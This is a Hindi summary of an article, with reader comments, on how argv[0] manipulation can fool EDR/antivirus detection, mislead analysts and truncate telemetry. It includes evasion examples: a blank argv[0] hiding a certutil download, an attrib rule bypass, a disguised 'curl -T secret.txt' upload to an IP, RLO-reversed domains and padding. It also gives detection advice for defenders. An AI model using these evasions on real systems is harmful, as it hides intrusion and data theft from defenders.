9 पॉइंट द्वारा GN⁺ 2024-09-04 | 2 टिप्पणियां | WhatsApp पर शेयर करें
  • कमांड लाइन अजीब है
  • Windows खास तौर पर इस तरह की समस्याओं के लिए जाना जाता है, लेकिन ज़्यादातर operating systems ने command line को जिस तरह implement किया है, उससे security समस्याएँ पैदा हो सकती हैं
  • यह लेख process की command line के पहले argument argv[0] को process के नाम के लिए आरक्षित करने की परंपरा की समस्याओं को समझाता है

argv[0] अतीत की एक विरासत है

  • जब कोई program शुरू होता है, तो उसे command line arguments दिए जाते हैं ताकि program के अंदर उन तक पहुँचा जा सके, और वास्तव में program के शुरू होने पर यह सबसे पहले उपलब्ध होने वाली जानकारियों में से एक होती है
    • यह program के execution flow को बदलने का एक प्रमुख mechanism है
  • POSIX और DOS/Win32 में अपनाए गए exec system call family को देखें
    • int execv(const char *path, char *const argv[]);
    • इस execv function को call करने के लिए, चलाए जाने वाले application का पूरा path path के रूप में और arguments वाला vector argv के रूप में program को देना पड़ता है, और यह status code वाला integer return करता है
    • इस specification के अनुसार, अगर इस call के परिणामस्वरूप program सफलतापूर्वक चल जाता है, तो target program को int main (int argc, char *argv[]); के ज़रिये call किया जाता है
  • सभी C standards में argc negative नहीं होता, argv[argc] एक null pointer होता है, और अगर argc 0 से बड़ा है तो argv[0] call किए गए program के नाम को दर्शाता है
  • कुछ लोग argv[0] की ज़रूरत पर सवाल उठा सकते हैं
    • "नई process को स्पष्ट रूप से अपना नाम पता है, फिर calling process के पहले process argument के रूप में उसे यह क्यों देना चाहिए?"
    • POSIX environments में program को symbolic link के ज़रिये call किया जा सकता है, इसलिए यह नई process को यह समझने में मदद करता है कि उससे कौन-सा अनुरोध किया गया है
    • उदाहरण के लिए, Debian में shutdown और reboot, एक ही systemctl executable से linked हैं, और call किए गए command के अनुसार अलग तरह से काम करते हैं
  • यह एक संदिग्ध design decision जैसा लगता है
    • "क्या किसी program को अपने ही नाम के आधार पर अलग तरह से व्यवहार करना चाहिए?"
    • आधुनिक नज़रिए से देखें तो यह software की predictability कम करता है और modern design principles के खिलाफ लगता है
    • 1970-1980 के दशक के नज़रिए से देखें तो यह शायद duplicate को कम करने की कोशिश थी क्योंकि उस समय computing resources सीमित थे
    • लेकिन अब disk space कोई बड़ी समस्या नहीं है। उदाहरण के लिए, macOS Sonoma में shutdown और reboot अलग-अलग executables के रूप में मौजूद हैं
    • इस पर बहस हो सकती है कि दो मिलते-जुलते programs को एक file में जोड़ना सचमुच ज़रूरी है या command arguments वाला तरीका अधिक उपयुक्त है
  • मान लें कि इस सिद्धांत को स्वीकार भी कर लिया जाए, तब भी इसका implementation विवादास्पद है
    • यह सवाल बना रहता है कि argv[0] की जानकारी process arguments के हिस्से के रूप में दी ही क्यों जानी चाहिए
    • argv[0] पर निर्भर programs में error आ सकती है अगर calling process इसे सही तरह से set न करे
    • कुछ programs security के संदर्भ में argv[0] का ग़लत तरीके से उपयोग भी करते हैं
    • एक बेहतर तरीका यह होगा कि argv[0] को अलग task_struct या PEB feature के रूप में रखा जाए और operating system इस value को manage करे
      • इससे consistent tracking संभव होगी और manipulation की गुंजाइश कम होगी
  • हैरानी की बात यह है कि इस काम के सबसे करीब आने वाला OS Windows है
    • Windows, दूसरे mainstream operating systems के विपरीत, नई process बनाते समय argv[0] को set नहीं करता
    • Windows API calls (CreateProcess, ShellExecute) executable path के आधार पर argv[0] को अपने-आप set कर देती हैं
    • यह सबसे तर्कसंगत implementation लगता है, लेकिन Windows में भी POSIX exec calls अपनाई गई हैं, इसलिए argv[0] को manually set करने का तरीका मौजूद है

argv[0] को नज़रअंदाज़ किया जाता है (ज़्यादातर मामलों में)

  • argv[0] की अहमियत पर आपकी जो भी राय हो, व्यवहार में argv[0] एक वास्तविक concept है और इसके साथ समस्याएँ जुड़ी हुई हैं
  • exec call के समय ऊपर बताई गई तीन शर्तों में से पहली दो को operating system संभालता है, लेकिन argv[0] से जुड़ी आख़िरी शर्त managed नहीं होती
  • क्योंकि exec caller के पास argv पर पूरा control होता है, वह इस requirement को अनदेखा कर सकता है, और न operating system न ही calling/called program इस violation को check करता है
  • argv[0] को अनदेखा करने का उदाहरण
    • echo का उपयोग करके Hello, world! प्रिंट करने के लिए आम तौर पर execv("/usr/bin/echo", ["echo", "Hello, world!"]) call किया जाता है
    • लेकिन अगर execv("/usr/bin/echo", ["oopsie", "Hello, world!"]) call किया जाए, तो भी echo program सामान्य रूप से चलता है और Hello, world! प्रिंट करता है
    • echo program argv[0] को अनदेखा करता है और सिर्फ argv[1] से आगे के arguments पर ध्यान देता है
    • ज़्यादातर programs इसी तरह का approach अपनाते हैं और argv[0] को ignore करते हैं
  • argv[0] manipulation के उदाहरण
    • C समेत कई programming और scripting languages में argv[0] manipulate करने के तरीके उपलब्ध हैं:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • argv[0] को manipulate करना आसान है और इससे ज़्यादातर program executions प्रभावित नहीं होते। लेकिन security के लिहाज़ से यह समस्या बन सकता है

argv[0] सुरक्षा तंत्र को कमज़ोर कर सकता है

  • argv[0] का उपयोग security software को धोखा देने के लिए किया जा सकता है। अगर कोई malicious user system से compromise कर ले, तो वह attacker के commands चलाकर system को manipulate कर सकता है
  • AV और EDR जैसे defensive software process execution को monitor करते हैं, और अगर कोई खास command हानिकारक लगे तो उसे detect या block करते हैं। ज़्यादातर solutions उन commands को सक्रिय रूप से detect करते हैं जिनका attackers अक्सर उपयोग करते हैं
  • उदाहरण: certutil command का दुरुपयोग
    • Windows का built-in command line tool certutil हमलों में अक्सर इस्तेमाल होता है। initial access मिलने के बाद external payload download करने के साधन के रूप में इसका उपयोग किया जाता है
    • Microsoft Defender Antivirus, certutil execution को block करता है अगर command line arguments file download attempt दिखाएँ। लेकिन अगर argv[0] को blank set करके certutil शुरू किया जाए, तो Defender इसे block नहीं करता
    • यह दिखाता है कि security detection में program name को command line का हिस्सा मान लेने से समस्या पैदा होती है। उदाहरण के लिए, अगर detection logic command_line.contains('certutil') AND command_line.contains('-urlcache') जैसी हो, तो इसमें यह मान लिया जाता है कि certutil command line का हिस्सा होगा। लेकिन argv[0] manipulate करके इस logic को bypass किया जा सकता है
    • अधिक प्रभावी detection logic process_path.endswith('certutil.exe') AND command_line.contains('-urlcache') जैसी होनी चाहिए
  • argv[0] के ज़रिये detection bypass
    • detection bypass, argv[0] में tuning keywords जोड़कर भी किया जा सकता है। detection आम तौर पर false positives को filter करने के लिए base conditions और additional conditions को जोड़ती है
    • उदाहरण के लिए, जब attrib.exe किसी file को hidden बनाता है तो detection rule trigger हो सकता है। लेकिन व्यवहार में यह अक्सर desktop.ini file के लिए वैध रूप से चलाया जाता है
    • यह जानने वाला attacker, argv[0] में desktop.ini शामिल करके detection bypass कर सकता है। उदाहरण के लिए, argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe'] जैसा set किया जा सकता है

argv[0] से भ्रम पैदा किया जा सकता है

  • argv[0] का दुरुपयोग सिर्फ security software ही नहीं बल्कि इंसानों को धोखा देने के लिए भी किया जा सकता है
  • security analysts, EDR software जैसे tools द्वारा generate किए गए alerts की समीक्षा करते हैं, और इन alerts में संबंधित process की command line शामिल होती है
  • process की command line वह अहम जानकारी है जिसके आधार पर analyst तय करता है कि alert की आगे जाँच करनी है या उसे ignore करना है
  • उदाहरण: command line deception
    • curl -T secret.txt 123.45.67.89 command चलने पर संभावित data exfiltration का alert उत्पन्न हो सकता है। यह command file secret.txt को IP address 123.45.67.89 पर upload करती है
    • इसी scenario में अगर argv[0] को curl से बदलकर curl localhost | grep कर दिया जाए, तब भी यह एक valid command रहती है
    • security software command line array को spaces से अलग किए गए string के रूप में दिखाती है, इसलिए इस स्थिति में command curl localhost | grep -T secret.txt 123.45.67.89 जैसी दिखाई दे सकती है
    • analyst के नज़रिए से ऐसा लग सकता है कि curl localhost चलाया गया और उसका result grep -T secret.txt 123.45.67.89 को pass हुआ। जबकि वास्तव में यह remote address पर जानकारी upload करने की क्रिया है, लेकिन देखने में ऐसा लगता है जैसे local address से download किया जा रहा हो
  • Right-To-Left Override (RLO) character का उपयोग
    • कुख्यात RLO (right-to-left reordering) character का उपयोग argv[0] manipulate करने के लिए किया जा सकता है
    • यह Unicode character rendering applications को निर्देश देता है कि उसके बाद के characters को उल्टे क्रम में दिखाया जाए
    • argv[0] में RLO insert करने पर ping moc.elgoog.some-evil-website.com को ping moc.etisbew-live-emos.google.com जैसा दिखाया जा सकता है
    • यह तरीका detection logic को प्रभावित नहीं करता, लेकिन analyst को भ्रमित कर सकता है
  • इस तरह की techniques दिखाती हैं कि malicious activity छिपाने के लिए argv[0] को manipulate करने के कितने अलग-अलग तरीके हो सकते हैं, ताकि security software और मानवीय नज़र दोनों को धोखा दिया जा सके

argv[0] telemetry को नुकसान पहुँचा सकता है

  • क्योंकि argv[0] command line की सबसे शुरुआत में होता है, अगर argv[0] में काफ़ी सारे characters भर दिए जाएँ, तो बाकी सभी arguments command line के अंत की ओर धकेले जा सकते हैं
  • यह दो कारणों से समस्या बन सकता है: पहला, दिलचस्प हिस्सा command line के अंत में 'छिप' सकता है, जिससे analyst शायद scroll ही न करे; और उससे भी ज़्यादा अहम बात यह है कि command line की कुल लंबाई इतनी बढ़ाई जा सकती है कि monitoring software वास्तव में महत्वपूर्ण arguments को काट दे
  • command line length limits
    • Windows 7 के बाद से Windows में command line की अधिकतम लंबाई 14,336 characters (लगभग 14 KiB) है
    • Linux kernel में अधिकतम लंबाई 32 page sizes के रूप में hardcoded है, जो 64-bit architecture पर लगभग 131,072 characters (128 KiB) होती है
    • macOS Sonoma अधिकतम 1,048,576 characters (1 MiB) की command line की अनुमति देता है
    • इसका मतलब है कि argv[0] मनमाने space का बहुत बड़ा हिस्सा घेर सकता है
  • telemetry damage के उदाहरण
    • process monitoring software (जैसे EDR) लंबी command line executions को पूरा log कर सकता है, या overhead कम करने के लिए उन्हें fixed length तक truncate कर सकता है
    • अगर लंबी command lines पूरी log की जाएँ, तो सिर्फ maximum command line length का उपयोग करके 1,000 processes शुरू करने से 1GiB log data तैयार किया जा सकता है
    • अगर truncation लागू हो, तो command line arguments telemetry से कट सकते हैं। उदाहरण के लिए, perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' command “Hello, world!” प्रिंट करती है, लेकिन execution की telemetry में सिर्फ underscores रिकॉर्ड हो सकते हैं, या कुछ मामलों में पूरी तरह खाली command line दर्ज हो सकती है
    • इस तरह वास्तविक महत्वपूर्ण command line arguments मौजूद नहीं दिखते, इसलिए detection logic और analysts समझ ही नहीं पाते कि वास्तव में हुआ क्या

argv[0] के जोखिम: रोकथाम और detection

  • argv[0] एक समस्या सुलझाने की कोशिश में कई दूसरी समस्याएँ पैदा कर देता है
  • क्योंकि argv[0] के जल्द गायब होने की संभावना कम है, इसलिए security के नज़रिए से इससे निपटने के तरीकों पर ध्यान देना ज़रूरी है
  • रोकथाम के उपाय
    • software developers, argv[0] को अपने filename से compare करके manipulation की जाँच कर सकते हैं, लेकिन यह scalable नहीं है
    • operating system यह जाँच अधिक भरोसेमंद तरीके से कर सकता है। program flow बदलने के लिए argv[0] पर निर्भर रहना बेहद हतोत्साहित किया जाना चाहिए
    • developers के लिए सबसे अच्छा यह है कि जहाँ तक संभव हो, argv[0] के साथ interaction ही न करें
  • security professionals के लिए detection के तरीके
    • argv[0] कैसे काम करता है और उसकी समस्याएँ क्या हैं, इसे समझना command line deception रोकने का एक महत्वपूर्ण कदम है
    • अगर security software command line arguments को array के रूप में देती है, तो कुछ patterns को अधिक भरोसेमंद तरीके से पहचाना जा सकता है
    • बहुत लंबी argv[0] values या pipe character जैसे suspicious characters वाले values को तुरंत suspicious flag किया जाना चाहिए
    • अगर command line arguments string के रूप में दी गई हों, तब भी ऐसी command lines को flag किया जा सकता है जिनमें program name शामिल न हो। यह संकेत देता है कि argv[0] manipulate किया गया हो सकता है
    • ज़्यादातर environments में RLO character की मौजूदगी अपने-आप में high-efficiency detection method है
    • truncated command line arguments के मामले में यह समझना ज़रूरी है कि security solutions और data lake उन्हें कैसे handle करते हैं, और उससे generated telemetry पर क्या असर पड़ता है
  • defensive software में सुधार
    • defensive software को argv[0] abuse की detection बेहतर करनी चाहिए। suspicious argv[0] values के साथ software execution को block करना संभव होना चाहिए, और इससे false positives पैदा नहीं होने चाहिए
    • EDR platforms को command line arguments report करते समय argv[0] को exclude करने पर भी विचार करना चाहिए। इससे इस लेख में बताए गए अधिकांश मुद्दे खत्म हो जाते हैं, और forensic value भी अधिकांश मामलों में कम ही होती है
  • अंततः, कोई भी argv[0] की वजह से अनावश्यक सिरदर्द नहीं चाहता। हमारा software भी नहीं

GN⁺ का सार

  • argv[0] अतीत की एक विरासत है और आधुनिक software design principles के खिलाफ है
  • ज़्यादातर programs argv[0] को ignore करते हैं, लेकिन इससे security समस्याएँ पैदा हो सकती हैं
  • argv[0] security software और इंसानों दोनों को धोखा दे सकता है, और telemetry को नुकसान पहुँचा सकता है
  • security professionals को argv[0] के दुरुपयोग का detection करना चाहिए और defensive software को इसे बेहतर तरीके से संभालना चाहिए

2 टिप्पणियां

 
scari 2024-09-05

शायद मैं पुराना खयालात वाला हूँ, इसलिए लेखक के दावे से ज़्यादा सहमत नहीं हो पा रहा हूँ। समस्या exec की है, लेकिन लगता है कि उसकी चिंगारी argv[0] पर आ गिरी है।

 
GN⁺ 2024-09-04
Hacker News राय
  • argv[0] को पढ़ने पर आपत्ति करना लेखक की अज्ञानता दिखाता है या फिर बहुत मजबूत सुरक्षा की ज़रूरत मानता है

    • सोचिए busybox को OpenWrt बॉक्स पर 16MB root filesystem में कैसे काम करना चाहिए
    • argv[0] वैल्यू के उपयोग को सीमित करने पर चर्चा करना विचार करने लायक है
    • हमलावर फिर भी सुरक्षा उपायों को बायपास कर सकते हैं
  • argv[0] का उपयोग सैकड़ों कमांड्स के symbolic link target के रूप में किया जाता है

    • Android अधिकांश सामान्य shell कमांड्स के लिए इसका उपयोग करता है
    • Toybox और busybox इसके उदाहरण हैं
  • argv[0] का उपयोग करने वाले टूल्स के जरिए container के अंदर से host कमांड्स चलाए जा सकते हैं

    • उदाहरण: flatpak कमांड को host पर चलने के लिए सेट किया जा सकता है
  • यह कोई समस्या नहीं है कि प्रोग्राम अपने नाम के अनुसार अलग तरह से व्यवहार करे

    • invocation arguments में प्रोग्राम का नाम शामिल करना बहुत उपयोगी है
  • argv[0] पर आपत्ति करने वालों का कहना है कि यह आधुनिक design principles के खिलाफ है

    • जहाँ symlink मौजूद हो, वहाँ यह जानना तर्कसंगत है कि प्रोग्राम को कैसे invoke किया गया था
    • python argv[0] का उपयोग यह जाँचने के लिए करता है कि वह virtualenv के अंदर है या नहीं, और उसी के अनुसार search path समायोजित करता है
  • सुरक्षा के नज़रिए से argv[0] खास तौर पर बुरा नहीं है

    • security software को argv वैल्यूज़ quote करने के लिए ठीक करना बेहतर है
  • argv[0] में कोई दिक्कत नहीं है

    • ज़्यादातर लोग argv[0] का उपयोग कमांड के version अलग करने के लिए करते हैं
  • busybox 'shim' मोड में argv[0] का उपयोग करता है

    • सुरक्षा समस्या के लिए SELinux जैसे गहरे सुरक्षा तंत्रों का उपयोग करना अधिक महत्वपूर्ण है
  • macOS कई कमांड्स को एक ही executable की ओर point करने के लिए सेट करता है

    • यह argv[0] का उपयोग करके CLI usability बेहतर करता है और code duplication कम करता है
  • argv[0] को हटाने से उपयोगी functionality खो जाएगी

    • network security को network पर ही संभालना चाहिए
    • argv[0] हटाने पर भी हमलावर कोई दूसरा तरीका ढूँढ लेंगे